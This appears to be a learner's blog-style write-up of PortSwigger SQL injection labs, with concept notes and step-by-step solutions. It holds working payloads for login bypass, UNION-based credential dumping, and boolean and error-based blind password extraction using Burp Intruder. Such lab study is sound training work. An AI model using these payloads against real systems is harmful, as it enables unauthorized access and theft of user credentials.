I've recently begun my journey into web application security, exploring various vulnerabilities such as SQL injection, authentication bypass, command injection, and more. To build a strong foundation, I'm not just solving labs — I'm also taking the time to understand the core concepts behind each attack.

To support my learning, I've been using PortSwigger's Web Security Academy labs, which provide practical, hands-on experience with real-world vulnerabilities. In this article, I'll be sharing what I've learned so far — starting with SQL injection — including my study notes, key concepts, and the step-by-step approach I use to analyze and solve each lab.

I hope this write-up helps fellow learners who are on the same path and looking to strengthen their understanding of web application security.

SQL Injection-

SQL Injection (SQLi) is a web security vulnerability that allows an attacker to manipulate the SQL queries an application sends to its database. When user input is not properly validated or sanitized, an attacker can inject malicious SQL code into input fields such as login forms, search boxes, or URL parameters.

This can enable attackers to access data they are not authorized to view — including sensitive information belonging to other users, confidential business data, or even administrative credentials.

In more severe cases, SQL injection doesn't just expose data — it allows attackers to modify or delete it. This can result in permanent changes to the application's content, disruption of services, or even complete compromise of the system.

Because most modern applications rely heavily on databases, SQL injection remains one of the most critical and dangerous web vulnerabilities.

Types of SQL injection-

  1. In- Band SQL Injection
  2. Out-Band SQL Injection
  3. Inferential SQL Injection(Blind SQLi)

What Is the Impact of a Successful SQL Injection Attack?

A successful SQL injection attack can have serious consequences for an organization. Since SQLi directly targets the database — the core of most web applications — the damage can be extensive.

  1. Unauthorized Access to Sensitive Data-Attackers may gain access to confidential information such as:
  • Usernames and passwords
  • Credit card details
  • Personal user information (PII)
  • Financial records
  • Administrative credentials

This data can then be sold, misused, or leveraged for further attacks.

2. Data Manipulation or Deletion-In more advanced cases, attackers can:

  • Modify database records
  • Delete critical data
  • Change application content
  • Escalate privileges

This can disrupt business operations and compromise data integrity.

3. Authentication Bypass

SQL injection can allow attackers to bypass login mechanisms and gain unauthorized access to user or admin accounts.

4. Long-Term System Compromise

In severe scenarios, attackers may establish a persistent backdoor into the system. This allows continued access even after the initial vulnerability is discovered, leading to long-term compromise that may go undetected for months.

5. Reputational & Financial Damage

SQL injection has been responsible for numerous high-profile data breaches. The consequences often include:

  • Loss of customer trust
  • Regulatory fines
  • Legal consequences
  • Significant financial loss

How to Detect SQL Injection Vulnerabilities

SQL injection vulnerabilities can be detected through systematic testing of every user input entry point in an application. These entry points may include login forms, search fields, URL parameters, cookies, headers, or any place where user-supplied data is processed by the server.

Detection can be performed manually or using automat

ed tools.

Manual Detection Techniques-

When testing manually, you typically inject specific payloads and observe how the application responds.

1.Testing with a Single Quote (')

A common first step is inserting a single quote character:

'

If the application returns a database error or behaves unexpectedly, it may indicate that user input is being directly included in an SQL query without proper sanitization.

2.Testing with SQL Syntax That Alters Logic

You can inject SQL expressions that evaluate differently and observe changes in application behavior.

For example:

1 OR 1=1
1 OR 1=2

If the first payload returns more results than expected while the second does not, this suggests the query logic is being manipulated — a strong indicator of SQL injection.

3.Boolean-Based Testing

Boolean conditions are commonly used to confirm SQL injection:

OR 1=1
OR 1=2
  • OR 1=1 → Always true
  • OR 1=2 → Always false

If the application response differs between these two inputs, it suggests that the injected condition is being evaluated by the database.

4. Time-Based Testing

You can use payloads that cause intentional delays in the database response.

Example (depending on database type):

SLEEP(5)

If the server response is delayed, it indicates that the injected SQL query is being executed — even if no visible output is returned.

This technique is useful for blind SQL injection.

5. Out-of-Band (OAST) Testing

Out-of-band payloads trigger external network interactions when executed by the database.

Instead of observing direct responses, you monitor whether the server makes an external request to a system you control (e.g., Burp Collaborator).

This method is particularly useful when:

  • The application does not return errors
  • The response does not visibly change
  • Time-based methods are unreliable

Automated Detection:-Instead of doing all that manually, you can use tools like Burp Suite's Scanner, which can automatically detect most SQL injection issues quickly and reliably.

SQL injection in different parts of the query

Most SQL injection vulnerabilities occur within the WHERE clause of a SELECT query. Most experienced testers are familiar with this type of SQL injection.

However, SQL injection vulnerabilities can occur at any location within the query, and within different query types. Some other common locations where SQL injection arises are:

  • In UPDATE statements, within the updated values or the WHERE clause.
  • In INSERT statements, within the inserted values.
  • In SELECT statements, within the table or column name.
  • In SELECT statements, within the ORDER BY clause.

Common SQL Injection Examples

SQL injection vulnerabilities can appear in different forms depending on how the application interacts with the database. Below are some of the most common types of SQL injection attacks you'll encounter while solving labs or performing security testing.

  1. Retrieving Hidden Data

In this type of attack, the attacker modifies a SQL query to return additional or unauthorized data.

For example, consider a query like:

SELECT * FROM products WHERE category = 'Gifts';

If the application fails to properly sanitize input, an attacker could inject:

Gifts' OR 1=1--

The modified query becomes:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--';

Since 1=1 is always true, the query returns all products, including hidden or restricted items.This type of SQL injection is commonly used to dump database contents.

2. Subverting Application Logic

Here, the attacker interferes with how the application processes logic — commonly seen in login bypass attacks.

Example query:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

Injected input:

admin'--

Modified query:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'password';

The password check is commented out, allowing login without knowing the password.

This technique bypasses authentication mechanisms.

3. UNION-Based Attacks

UNION attacks allow attackers to combine results from multiple database tables using the UNION operator.

Example payload:

' UNION SELECT username, password FROM users--

If successful, this can retrieve sensitive data such as:

  • Usernames
  • Password hashes
  • Emails
  • Admin credentials

This is a powerful technique for extracting data from other tables in the database.

4. Blind SQL Injection

Blind SQL injection occurs when the application does not return database errors or query results directly. Even though no visible data is returned, attackers can still extract information using:

  • Boolean-based techniques (true/false conditions)
  • Time-based delays (e.g., SLEEP(5))

For example:

' AND 1=1--
' AND 1=2--

If the response changes between these inputs, the attacker confirms injection.

Blind SQL injection is slower but extremely powerful.

Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products.

Step-by-Step Method I Used to Solve the Lab-

Step 1: Understand the Target URL

The application used a URL like:

https://<lab-id>.web-security-academy.net/filter?category=Gifts

When accessed normally, the page displayed only released products from the "Gifts" category.

At this stage, I suspected that the category parameter might be directly used in a backend SQL query.

Step 2: Test for SQL Injection

To check whether the parameter was vulnerable, I appended a single quote (') to the URL:

https://<lab-id>.web-security-academy.net/filter?category=Gifts'

This caused the application to return a database error.

This behavior confirmed that:

  • The input was being inserted directly into an SQL query.
  • The application was not properly sanitizing user input.
  • The parameter was likely vulnerable to SQL injection.

Step 3: Inject a SQL Payload to Bypass the Filter

Next, I attempted to manipulate the query logic using a classic SQL injection payload:

https://<lab-id>.web-security-academy.net/filter?category=Gifts'+OR+1=1--

Breaking Down the Payload

  • ' → Closes the original string in the SQL query
  • OR 1=1 → A condition that always evaluates to true
  • -- → Comments out the rest of the query

If the original backend query looked something like:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

After injection, it became:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1 --' AND released = 1

Since OR 1=1 is always true, the database returned all products, including unreleased ones.

The condition AND released = 1 was ignored due to the comment (--).

Result

As soon as the page displayed hidden (unreleased) products, the lab confirmed success with the message:

"Congratulations, you solved the lab!"

Lab 2: SQL injection vulnerability allowing login bypass

This lab contains a SQL injection vulnerability in the login function.To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.

Step-by-Step: SQL Injection Authentication Bypass

Step 1: Access the Lab

I opened the lab URL in my browser:

https://0a5300d8031c081a849c18a100f5002f.web-security-academy.net/

On the top-right corner of the page, there was a "My account" button. This indicated that the application had a login functionality — a common target for SQL injection testing.

Step 2: Navigate to the Login Page

After clicking "My account", I was redirected to a login form that required:

  • Username
  • Password

At this stage, I suspected that the login query might be vulnerable to SQL injection.

Step 3: Inject SQL in the Username Field

In the Username field, I entered:

administrator'--

In the Password field, I entered:

aacnd

(The password value doesn't matter in this case, as it will be ignored due to the injection.)

Why This Payload Works

Let's assume the backend SQL query looks something like this:

SELECT * FROM users WHERE username = 'administrator' AND password = 'admin';

When I injected:

administrator'--

The query became:

SELECT * FROM users WHERE username = 'administrator'--' AND password = 'admin';

Breaking It Down:

  • ' → Closes the original username string
  • -- → Comments out the rest of the SQL query
  • Everything after -- is ignored by the database

As a result:

  • The password condition is completely removed.
  • The database only checks whether the username is administrator.
  • If that user exists, authentication succeeds.

This effectively bypasses the password check.

Result

After submitting the form, I was successfully logged in as the administrator.

The lab displayed the message:

"Congratulations, you solved the lab!"

This confirmed that the login functionality was vulnerable to SQL injection and that authentication could be bypassed.

Retrieving data from other database tables(Using SQL Injection)

SQL Injection UNION Attacks

When an application is vulnerable to SQL injection and the results of the query are reflected in the application's response, an attacker can use the UNION keyword to retrieve data from other tables in the database.

This technique is known as a SQL injection UNION attack.

What Does the UNION Keyword Do?

The UNION operator allows you to combine the results of two or more SELECT queries into a single result set.

For example:

SELECT a, b FROM table1
UNION
SELECT c, d FROM table2;

This query returns:

  • Column 1 → values from a (table1) and c (table2)
  • Column 2 → values from b (table1) and d (table2)

The results are merged into one combined output.

How This Becomes an Attack

If user input is directly included in a SQL query, an attacker can inject a malicious UNION SELECT statement to retrieve data from other tables — such as:

  • users
  • admin
  • accounts
  • credentials

For example:

' UNION SELECT username, password FROM users--

If successful, the application may display sensitive data like usernames and password hashes directly in the response.

Determining the Number of Columns in a UNION Attack

Before performing a successful SQL injection UNION attack, you must determine how many columns are returned by the original query.

There are two common and effective techniques for discovering the correct number of columns.

Method 1: Using ORDER BY

This technique involves injecting a series of ORDER BY clauses and incrementing the column index until the database returns an error.

If the injection point is inside a quoted string in the WHERE clause, you can test like this:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

and continue incrementing the number.

How This Works

The ORDER BY clause allows sorting by column position (index number), so you don't need to know the column names.

For example:

SELECT column1, column2 FROM products ORDER BY 1;

If you try:

' ORDER BY 3--

and the original query only has 2 columns, the database may return an error like:

The ORDER BY position number 3 is out of range of the number of items in the select list.

What to Look For

The application might:

  • Display a database error directly
  • Show a generic error message
  • Return no results
  • Respond differently compared to previous requests

As soon as you notice a response change, you can infer the number of columns.

For example:

  • ORDER BY 1 → works
  • ORDER BY 2 → works
  • ORDER BY 3 → error
  • That means the query has 2 columns.

Method 2: Using UNION SELECT NULL

The second method involves injecting UNION SELECT statements with increasing numbers of NULL values.

Example:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

You increase the number of NULL values until the query executes successfully.

Lab 3: SQL injection UNION attack, determining the number of columns returned by the query

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.

I began by using Burp Suite to capture the HTTP request made when selecting a product category:

GET /filter?category=Tech+gifts HTTP/2

I sent this request to Burp Repeater and began modifying the category parameter.

https://0a4900a50480673281dad973002b0046.web-security-academy.net/filter?category=%27--

Step 1: Testing for SQL Injection Vulnerability

Initial Test

I inserted a single quote (') to check for a basic SQL injection vulnerability:

category=Tech+gifts'

No error appeared — this input may have been filtered or neutralized.

passing with SQL Comment

I tried a single quote followed by -- to comment out the rest of the original query:

category='--

This worked — the page loaded successfully, indicating SQL injection was possible.

Step 3: Identifying the Number of Columns with UNION SELECT

To perform a successful UNION SELECT, the number of columns in my injected query had to match the number in the original query.

First Attempt:

category=Tech+gifts'+UNION+SELECT+NULL--

Error occurred — likely not enough columns.

Second Attempt:

category=Tech+gifts'+UNION+SELECT+NULL,NULL--

Still got an error — still not enough columns.

Third Attempt:

category=Tech+gifts'+UNION+SELECT+NULL,NULL,NULL--

Success! The page loaded without errors, indicating the original query uses 3 columns.

Step 4: Understanding the Response

Once the correct number of columns was used (NULL,NULL,NULL), the application accepted the input. This confirmed:

  • The application is vulnerable to UNION-based SQL injection.
  • The original SQL query expects three columns.
  • I can now proceed to test which of the columns return visible data in the web page.

Result:

As soon as the page showed hidden (unreleased) products, the lab displayed:

"Congratulations, you solved the lab!"

Finding Columns with a Useful Data Type

A successful SQL injection UNION attack allows you to retrieve results from your injected query. However, to extract meaningful data (like usernames, emails, or passwords), you must identify which columns in the original query can hold string data.

Most sensitive information in databases — such as:

  • Usernames
  • Password hashes
  • Email addresses
  • API keys

— is stored as text (string) values.

So the next step is to find which column(s) can accept and display string data.

Step 1: Determine the Number of Columns

Before testing data types, you must already know how many columns the original query returns (using the ORDER BY or UNION SELECT NULL method).

For example, let's assume the original query returns 4 columns.

Step 2: Test Each Column for String Compatibility

Now, you test each column individually by inserting a string value into one column at a time, while keeping the others as NULL.

Example payloads:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Lab 4: SQL injection UNION attack, finding a column containing text

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.

The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.

Step 1: Intercept and Modify the Request

First, open Burp Suite and make sure the Proxy is enabled.

Then:

Visit the vulnerable category filter in the web application.

Capture the HTTP request, for example:

GET /filter?category=Gifts HTTP/2

Right-click the request and send it to the Repeater tab for testing.

Using Repeater allows you to modify and resend the request multiple times without refreshing the browser.

Step 2: Determine the Number of Columns

Before performing a UNION attack, the number of columns in your injected query must match the original query.

Start testing with:

' UNION SELECT NULL--

If an error occurs, increase the number of NULL values:

' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

Continue increasing until the query executes without an error.

For example:

' UNION SELECT NULL,NULL,NULL--

If this executes successfully, it indicates that the original query returns three columns.

This step is crucial — without matching the column count, the UNION attack will fail.

Step 3: Identify the Reflected (Output) Column

Now that we know the query has three columns, we need to determine which column is reflected in the application's response.

Replace one NULL at a time with a test string:

' UNION SELECT 'abcdef',NULL,NULL--

If abcdef appears in the page, that column is reflected.

If not, try the second column:

' UNION SELECT NULL,'abcdef',NULL--

Then the third:

' UNION SELECT NULL,NULL,'abcdef'--

Repeat until your test string appears in the response

Result:

Once the injection is validated, the lab will display:

Congratulations, you solved the lab!

Using a SQL injection UNION attack to retrieve interesting data

When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.

Suppose that:

  • The original query returns two columns, both of which can hold string data.
  • The injection point is a quoted string within the WHERE clause.
  • The database contains a table called users with the columns username and password.

In this example, you can retrieve the contents of the users table by submitting the input:

' UNION SELECT username, password FROM users--

In order to perform this attack, you need to know that there is a table called users with two columns called username and password. Without this information, you would have to guess the names of the tables and columns. All modern databases provide ways to examine the database structure, and determine what tables and columns they contain.

Lab 5: SQL injection UNION attack, retrieving data from other tables

Step 1: Intercept the Request in Burp Suite

First, open Burp Suite and ensure the Proxy is enabled.

Then:

Navigate to the vulnerable web page that filters products by category.

Intercept the HTTP request that contains the category parameter.

Send the request to the Repeater tab for further testing.

This allows us to safely modify and resend requests multiple times.

Step 2: Determine the Number of Columns

To confirm the number of columns and test whether they accept string data, inject the following payload into the category parameter:

'+UNION+SELECT+'abc','def'--

When forwarded, both abc and def appeared in the page response.

This confirms:

  • The original query returns two columns
  • Both columns accept string data
  • Both columns are reflected in the response

At this point, we are ready to extract meaningful data.

Step 3: Extract Data from the users Table

Next, modify the request to retrieve credentials from the users table:

'+UNION+SELECT+username,password+FROM+users--

Forward the request in Repeater.

If the injection is successful, the application merges the results of the injected query into the page output.

Step 4: Retrieve the Credentials

The response now displays usernames and passwords stored in the database.

From the output, the following credentials were identified:

Username:administrator
Password: 6psr0xeuwxde4j7k4gwl

This confirms that data from the users table has been successfully extracted.

Step 5: Verify the Credentials

Finally, use the retrieved credentials to log in via the application's login form.

Successful authentication confirms:

  • The SQL injection vulnerability is exploitable
  • Sensitive data can be extracted
  • Account takeover is possible

Retrieving multiple values within a single column

In some cases the query in the previous example may only return a single column.

You can retrieve multiple values together within this single column by concatenating the values together. You can include a separator to let you distinguish the combined values. For example, on Oracle you could submit the input:

' UNION SELECT username || '~' || password FROM users--

This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.

The results from the query contain all the usernames and passwords, for example:

... administrator~s3cure wiener~peter carlos~montoya ...

Lab 6: SQL injection UNION attack, retrieving multiple values in a single column

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

Step-by-Step: Extracting Multiple Values from a Single Reflected Column

Step 1 — Intercept the Category Request in Burp Suite

  1. Open Burp Suite and ensure the Proxy is enabled.
  2. Browse to the vulnerable products page.
  3. Intercept the HTTP request that sets the category parameter.
  4. Send the request to the Repeater tab for controlled testing.

Using Repeater allows you to safely modify and resend the request multiple times.

Step 2 — Confirm Column Count and Identify the Text Column

Goal:

  • Determine how many columns the original query returns
  • Identify which column accepts text data

Inject the following payload into the category parameter:

'+UNION+SELECT+NULL,'abc'--

What This Means:

  • NULL → Placeholder for the first column
  • 'abc' → Test string in the second column

If:

  • The page loads normally
  • 'abc' appears in the response

This confirms:

  • The original query returns two columns
  • Only the second column accepts and reflects text data
  • The first column likely expects a numeric value (hence NULL is used)

At this point, we know exactly where to inject string-based data.

Step 3 — Extract User Data from the users Table

Since only the second column reflects text, we place our concatenated expression there and keep NULL in the first column.

Using Oracle-style concatenation:

'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

Breakdown:

  • NULL → First column (non-text)
  • username || '~' || password → Concatenates both fields
  • ~ → Separator for readability
  • FROM users → Extracts data from the target table

If successful, the response will display rows like:

administrator~bay76q8k18krk0ska7zi
wiener~peter
carlos~montoya

Each row represents combined credentials from the database.

Step 4 — Verify the Dumped Credentials

Confirm that the application displays the concatenated username and password values.

Example from the lab:

administrator~bay76q8k18krk0ska7zi

This confirms successful data extraction.

RESULT-

Once the injection is validated, the lab displays:

"Congratulations, you solved the lab!"

BLIND SQL INJECTION-

Blind SQL Injection — Extracting Data Without Seeing It

In many real-world applications, SQL injection vulnerabilities don't directly display query results or database errors.

This is known as Blind SQL Injection.

Even though we cannot see the data directly, we can still extract it — by observing how the application behaves.

What Is Blind SQL Injection?

Blind SQL injection occurs when:

  • The application is vulnerable to SQL injection
  • The HTTP response does not contain query results
  • No database error messages are shown

Unlike UNION-based SQL injection, we cannot directly retrieve data in the response.

Instead, we exploit application behavior changes.

Exploiting Blind SQLi via Conditional Responses

Let's consider a practical example.

Scenario: Tracking Cookie

The application uses a tracking cookie like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

On the server side, it runs this query:

SELECT TrackingId 
FROM TrackedUsers 
WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection.

However:

  • The query results are NOT shown.
  • If the TrackingId exists → the page displays:
  • "Welcome back"

If it doesn't exist → no message appears.

That behavior difference is enough to exploit the vulnerability.

Step 1 — Confirm the Injection

We inject a condition that is always true:

xyz' AND '1'='1

If:

  • "Welcome back" appears → the condition is true.

Now test a false condition:

xyz' AND '1'='2

If:

  • "Welcome back" disappears → the condition is false.

This confirms we can control the query logic.

Extracting Data One Character at a Time

Now suppose there is a table:

Users
---------
Username
Password

We want to extract the password for:

Administrator

Since we cannot see query results, we ask the database yes/no questions.

Step 2 — Guess the First Character

We use:

xyz' AND SUBSTRING(
    (SELECT Password FROM Users WHERE Username='Administrator'),
    1,
    1
) > 'm

What This Means:

  • Extract password
  • Take character at position 1
  • Check if it is greater than 'm'

If:

  • "Welcome back" appears → condition is true.
  • If not → false.

Narrowing It Down

Next test:

xyz' AND SUBSTRING(
    (SELECT Password FROM Users WHERE Username='Administrator'),
    1,
    1
) > 't

If no message appears → first character is NOT greater than 't'.

Eventually, test:

xyz' AND SUBSTRING(
    (SELECT Password FROM Users WHERE Username='Administrator'),
    1,
    1
) = 's

If "Welcome back" appears:

First character = s

Repeat the Process

Now move to position 2:

SUBSTRING(password, 2, 1)

Repeat the same logic.

Character by character.

Until the entire password is extracted.

Why This Works

Blind SQL injection works because:

  • The database evaluates our condition
  • The application reveals TRUE or FALSE indirectly
  • We convert behavior differences into information leakage

Even without seeing data directly, we can reconstruct it fully.

Types of Blind SQL Injection

There are two main types:

1. Boolean-Based Blind SQLi

Uses true/false conditions

2. Time-Based Blind SQLi

Uses time delays (e.g., SLEEP(5)) to detect true conditions when no visible difference exists.

Lab 7: Blind SQL injection with conditional responses

Blind SQL Injection — Extracting Administrator Password (Step-by-Step)

This lab demonstrates Boolean-based Blind SQL Injection using a vulnerable TrackingId cookie.

Even though the application does not return query results, it behaves differently based on whether a condition is TRUE or FALSE.

We exploit that behavior.

Step 1 — Confirm the Injection Point

  1. Visit the shop's front page.
  2. Intercept the request in Burp Suite.
  3. Locate the cookie:
TrackingId=gwIpO7Jd7hC8xRYf

Test a TRUE condition

Modify it to:

TrackingId=gwIpO7Jd7hC8xRYf' AND '1'='1
  • The response shows "Welcome back" → condition is TRUE.

Test a FALSE condition

Change to:

TrackingId=gwIpO7Jd7hC8xRYf' AND '1'='2

If:

  • The "Welcome back" message disappears → condition is FALSE.

This confirms:

  • The parameter is injectable.
  • We can test boolean conditions.

Step 2 — Confirm the users Table Exists

Now test:

TrackingId=gwIpO7Jd7hC8xRYf' AND (SELECT 'a' FROM users LIMIT 1)='a

If TRUE → Table users exists.

Step 3 — Confirm Administrator User Exists

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a

If TRUE → User administrator exists.

Now we move to extracting the password.

Step 4 — Determine Password Length

We test the password length using the LENGTH() function.

Start with:

TrackingId=gwIpO7Jd7hC8xRYf' AND (SELECT 'a' FROM users 
WHERE username='administrator' 
AND LENGTH(password)>1)='a

If TRUE → Password length > 1.

Now increment:

LENGTH(password)>2
LENGTH(password)>3
LENGTH(password)>4

Keep increasing until:

  • The condition becomes FALSE (no "Welcome back").

When it stops being TRUE, you've found the length.

In this lab:Password length = 20 characters

Step 5 — Extract Each Character Using Burp Intruder

Now we extract the password one character at a time.

Send the request to Burp Intruder.

Modify the cookie to:

TrackingId=gwIpO7Jd7hC8xRYf' AND 
(SELECT SUBSTRING(password,1,1) 
FROM users 
WHERE username='administrator')='a

This checks:

  • Extract character at position 1
  • Compare it to 'a'

Add Payload Position Marker

Highlight only the a and click Add §

It should look like:

TrackingId=xyz' AND 
(SELECT SUBSTRING(password,1,1) 
FROM users 
WHERE username='administrator')='§a§

Step 6 — Configure Payloads

In Intruder:

  • Payload type → Simple list
  • Add:
  • a–z
  • 0–9

(Assuming password is lowercase alphanumeric.)

Step 7 — Configure Grep-Match

To detect success:

  1. Go to Settings
  2. In Grep — Match
  3. Clear existing entries
  4. Add:
Welcome back

Now start the attack.

Step 8 — Identify Correct Character

In results:

  • Look at the "Welcome back" column.
  • One row will have a

The payload for that row is the correct character at position 1

Step 9 — Repeat for All Positions

Change offset:

SUBSTRING(password,2,1)

Then:

SUBSTRING(password,3,1)
SUBSTRING(password,4,1)
...

Repeat until all 20 characters are extracted

Step 10 — Login as Administrator

  1. Go to My Account
  2. Enter:
Username: administrator
Password:

Login successful.

Final Result

Once logged in as administrator:

"Congratulations, you solved the lab!"

Error-Based SQL Injection

Error-based SQL injection occurs when an attacker can:

  • Trigger database error messages
  • Use those errors to extract or infer sensitive data

Even in situations that appear blind, database errors can leak valuable information.

When Does Error-Based SQLi Work?

It depends on:

  • Database configuration
  • Whether detailed error messages are enabled
  • How the application handles exceptions

There are two main scenarios:

1️. Conditional Error-Based SQLi (Blind Context)

Sometimes:

  • The application response does not change
  • Boolean-based blind SQLi doesn't work
  • There is no visible difference between TRUE or FALSE

But…

If we can force the database to throw an error only when a condition is TRUE, we can still extract data.

Triggering Conditional Errors

Instead of relying on:

AND 1=1

We force the database to throw an error using something like:

1/0   (divide by zero)

Example

Consider two injected payloads:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

What Happens?First Payload:

1=2  → FALSE

So:

CASE → returns 'a'

No error occurs.

Application behaves normally.

Second Payload:

1=1 → TRUE

So:

CASE → returns 1/0

This causes a divide-by-zero error.

If the application shows:

  • HTTP 500 error
  • Database error page
  • Different response size

Then we know the condition is TRUE.

Extracting Data Character by Character

Now we apply the same logic to sensitive data.

Example:

xyz' AND (
  SELECT CASE 
    WHEN (Username='Administrator' 
          AND SUBSTRING(Password,1,1) > 'm')
    THEN 1/0 
    ELSE 'a' 
  END 
FROM Users)='a

What This Does:

Checks:Is the first character of Administrator's password > 'm'?

  • If TRUE:
  • Triggers divide-by-zero error

If FALSE:

  • Returns 'a'
  • No error

By observing whether an error occurs, we infer:

  • TRUE or FALSE

Then:

  • Adjust the character guess
  • Narrow it down
  • Extract password one character at a time

2.Extracting Data from Verbose Error Messages

In some misconfigured applications, the database directly reveals data in error messages.

For example:

  • Conversion errors
  • Type mismatch errors
  • Constraint violations

Example (conceptually):

CAST((SELECT password FROM users WHERE username='admin') AS INT)

If the password is not numeric:

The database may throw an error like:

Conversion failed: value 's3cr3tP@ss' cannot be converted to int

password revealed inside the error.

This effectively turns a blind SQLi into a visible one.

Lab 8: Blind SQL injection with conditional errors

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

Step 1 — Confirm Injection via Syntax Error

Intercept the request in Burp.

Original cookie:

TrackingId=xyz

Inject a single quote:

TrackingId=xyz'

You receive an error.

This suggests the input is being inserted inside a SQL string and the quote breaks syntax

Fix the syntax (two quotes):

TrackingId=xyz''

Error disappears.

This confirms:

  • The error was due to an unclosed string
  • The application is likely vulnerable to SQL injection

Step 2 — Confirm It's SQL (Not Some Other Error)

Submit a syntactically valid SQL subquery:

TrackingId=xyz'||(SELECT '')||'

Still errors.

Now try:

TrackingId=xyz'||(SELECT '' FROM dual)||' Error disappears.

This strongly indicates:

The database is Oracle

  • Oracle requires FROM dual in SELECT statements

Now deliberately query a non-existent table:

TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'

Error appears.

This confirms:

  • Your injection is being processed as a SQL query
  • The backend is executing your payload

Step 4 — Confirm users Table Exists

TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

No error → users table exists.

ROWNUM = 1 ensures only one row is returned, preventing concatenation errors.

Step 5 — Trigger Conditional Errors

Now we use CASE + divide-by-zero to create conditional errors.

test TRUE condition:

TrackingId=xyz'||(
  SELECT CASE 
    WHEN (1=1) 
    THEN TO_CHAR(1/0) 
    ELSE '' 
  END 
FROM dual)||'

Error appears.

Test FALSE condition:

TrackingId=xyz'||(
  SELECT CASE 
    WHEN (1=2) 
    THEN TO_CHAR(1/0) 
    ELSE '' 
  END 
FROM dual)||'

No error.

This proves:

We can trigger errors conditionally.

  • Error presence = TRUE.
  • No error = FALSE.

Step 6 — Confirm Administrator User Exists

TrackingId=xyz'||(
  SELECT CASE 
    WHEN (username='administrator') 
    THEN TO_CHAR(1/0) 
    ELSE '' 
  END 
FROM users)||'

Error occurs → user exists.

Step 7 — Determine Password Length

Test:

TrackingId=xyz'||(
  SELECT CASE 
    WHEN LENGTH(password)>1 
    THEN TO_CHAR(1/0) 
    ELSE '' 
  END 
FROM users WHERE username='administrator')||'

If error → condition TRUE.

Increase:

LENGTH(password)>2
LENGTH(password)>3
LENGTH(password)>4
...

When the error disappears, you've found the length.

In this lab: password length = 20 characters

Step 8 — Extract Characters Using Burp Intruder

Now we extract one character at a time.

Test First Character

TrackingId=xyz'||(
  SELECT CASE 
    WHEN SUBSTR(password,1,1)='a' 
    THEN TO_CHAR(1/0) 
    ELSE '' 
  END 
FROM users WHERE username='administrator')||'

Add Payload Marker

Highlight a and click Add §

SUBSTR(password,1,1)='§a§'
Configure Intruder

Payload type → Simple list

  • Add:
  • a–z
  • 0–9

Launch Attack

Click Start attack

Look at the Status column:

  • HTTP 500 → error triggered → correct character
  • HTTP 200 → normal → incorrect character

The row showing 500 reveals the first character.

Step 9 — Repeat for All Positions

Change:

SUBSTR(password,2,1)
SUBSTR(password,3,1)
SUBSTR(password,4,1)
...

Repeat until all 20 characters are extracted.

Step 10 — Login as Administrator

  1. Go to My Account
  2. Enter:
  • Username: administrator
  • Extracted password

Login successful.

Result

Lab solved